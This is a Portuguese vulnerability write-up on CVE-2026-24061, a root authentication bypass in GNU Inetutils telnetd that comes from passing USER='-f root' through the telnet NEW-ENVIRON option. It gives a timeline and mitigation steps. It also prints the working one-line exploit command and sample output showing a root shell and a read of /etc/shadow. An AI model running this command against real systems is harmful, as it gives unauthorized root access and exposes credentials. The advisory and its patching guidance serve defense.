
CVE-2026-24061
Crítico Bypass de Autenticação Remota no GNU Inetutils telnetd
O fantasma de 2015 acaba de voltar para dominar tudo que ainda roda telnet.
Zero autenticação. Uma variável de ambiente. Shell root instantâneo.
CVE-2026-24061 é uma vulnerabilidade crítica de escalonamento de privilégio remoto no GNU Inetutils telnetd ≤ 2.7.
Um atacante remoto não autenticado define a variável de ambiente USER como "-f root" através da opção Telnet NEW-ENVIRON.
O telnetd passa esse valor sem sanitização diretamente para /bin/login → o login vê -f root → ignora toda autenticação → joga o atacante em um shell root.
O código perigoso ficou quieto na árvore por quase 11 anos (desde ~2015).
“Uma variável de ambiente. Nenhuma senha. Root total. Bem-vindo a 2026.”
Realidade em Março de 2026:
Quando o telnetd recebe uma opção NEW-ENVIRON contendo:
USER=-f root
Ele anexa o valor diretamente ao argv passado para /bin/login:
execve("/bin/login", ["login", "-f", "root", ...], ...)
O binário login interpreta -f root como:
“este usuário já está autenticado como root — nenhuma verificação de senha necessária.”
→ O atacante obtém o prompt #. Fim de jogo.
Escolha de design fatal: o encaminhamento -R / da variável de ambiente nunca foi restrito a usuários autorizados.
| Data | Evento |
|---|---|
| ~Março 2015 | Introdução do tratamento vulnerável de env |
| Jan 2026 | Relatório privado para o upstream |
| Fim Jan 2026 | Divulgação pública e atribuição de CVE |
| Fim Jan 2026 | Correção lançada (Inetutils ≥ 2.8) |
| 26 Jan 2026 | Adicionado ao catálogo de Vulnerabilidades Conhecidas Exploradas da CISA |
| Fev–Mar 2026 | Pico de exploração contra sistemas legados/OT |
| Março 2026 | Muitos fornecedores de embarcados ainda silenciosos ou sem correção |
Versões vulneráveis: GNU Inetutils telnetd 1.9.3 – 2.7
Alvos comuns em 2026:
Seguros:
Comando único (qualquer Linux/macOS com cliente telnet):
USER="-f root" telnet -a 192.168.1.50
Saída típica:
┌──(atacante㉿kali)-[~]
└─$ USER="-f root" telnet -a 192.168.1.50
Trying 192.168.1.50...
Connected to 192.168.1.50.
Escape character is '^]'.
Debian GNU/Linux 12 telnetd
root@legacy-box:~# whoami
root
root@legacy-box:~# id
uid=0(root) gid=0(root) groups=0(root)
root@legacy-box:~# cat /etc/shadow
...
Um pressionamento de tecla Enter depois — acesso root completo.
telnet localhost 23 # procurar banner inetutils
inetutils-telnetd --version # vulnerável se ≤ 2.7
systemctl disable --now inetutils-inetd # ou telnet.socket
pkill telnetd && chmod -x /usr/sbin/telnetd
sudo apt update && sudo apt install --reinstall inetutils-telnetd # → ≥2.8
iptables -A INPUT -p tcp --dport 23 -j DROP
ufw deny 23/tcp